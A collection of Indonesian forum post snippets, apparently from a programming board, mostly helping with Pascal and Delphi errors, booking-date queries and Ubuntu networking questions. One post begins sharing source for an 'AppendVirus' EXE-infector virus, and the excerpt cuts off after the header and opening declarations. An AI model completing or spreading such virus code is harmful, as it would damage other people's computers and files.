wadoh, koq itu write('Isi Lagi (Y/T) ? ');readln(lagi); di dalem 'for a:=1 to bil do' ????? ya entar muter2 terus itu nanya write('Isi Lagi (Y/T) ?'............. ya keluarin atuh setelah for.... makanya, laen kali, kalo bikin coding itu yg rapih, biar ketauan block2...
kayakna gw ngerti masalahnya.... misal si A pertama booking dari 1 s/d 3 Desember. Hasilnya: Tgl_In = 1 Desember, dan Tgl_Out = 3 Desember..... Nah, terus kan ada si B, dia booking tgl 2 s/d 3 Desember. Nah, querynya jadi gini kan? Where (Tgl_In Between '2 Desember' and '3 Desemb...
ane dah test di delphi (console), run dgn sempurna gan.... ente pake fpc (free pascal) ya? coba yg 'not boolean (x mod 2)' diganti sama gini aja: misalnya: CekGanjil:=not( (x mod 2)=0 ); Kalo gak mau juga, coba deh compile pake Turbo Pascal 7.0 aja.... :D
\n\nHehehe... luar biasa semaput koneksi ke server luarnya.\n\nmasih stabil per hari ini: :D \nfastnet 384... daerah: Kelapa Gading BCS...\n\n\n\nbtw uploadnya kalo fastnet yg 768 cuman 128 ya ?
\n\nlucu juga nih....\n\n1->2->3->4->5\n |\n6->7->8->9 6\n| | |\n5 2<-1<-0 7\n| | |\n4 3->4->5 8\n| |\n3<-2<-1<-0<-9\n\n\nkayak uler2an yah ? :D
\n\nya emang lom ada output bro... :D kan cuman nanya salahnya dimana? :D\noutput ya sama aja bro sama input, bedanya kalo input: pake readln, kalo output: pake writeln.\nKira2 gini nih prognya:\n\nPROGRAM INPUT_DATA_ARRAY;\n{$APPTYPE CONSOLE}\n\nuses WinCRT;&#...
\n\nwaduh.... :hammer: gak mudeng gan...... :D\nbtw, jadi OOT nih... :hammer:\ngimana caranya di ubuntu ke internet pake firewire (net1394) yg konek ke host (dan hostnya konek ke inet).......?\nkalo buat peer-to-peer dah ok, isa konek dari ubuntu ke xp via firewire,\ntapi ...
\n\ngw sih pake ubuntu nih bro.... ;) (beeuuhh, gw jg nubie nih di linux :hammer:)\n\n- jadi yg gw donlot: fpc-2.2.2-3-debz.tgz, trus di-extract....\n- muncul banyak banget *.deb\n- pernah coba langsung install, tapi jadinya di-install di home/username, trus ada error gitu...
\n\nerror gara2 definisi constnya salah syntax bro: mustinya:\n\nconst\n MAXSTUDENTS = 30\n\n\nlengkapnya: (copas dari di atas :D)\n\nPROGRAM INPUT_DATA_ARRAY;\nUSES WINCRT;\nCONST\n MAXSTUDENTS = 30; '<------ gara2 ini doang bro.......&...
ini versi sederhananya kali ya bro...\n\n\nprogram AppendVirus;\n\n// Exe infector virus\n// by unfunf\n// I will not be responsible for any damage caused if this virus is released.\n\nuses\nWindows;\n\nconst // Constants for infectfile return\n...
\n\nBisa pake function DaysBetween koq bro...\n\nfunction DaysBetween(const ANow, AThen: TDateTime): Integer;\n\nTapi musti tambahin: uses DateUtils dulu...
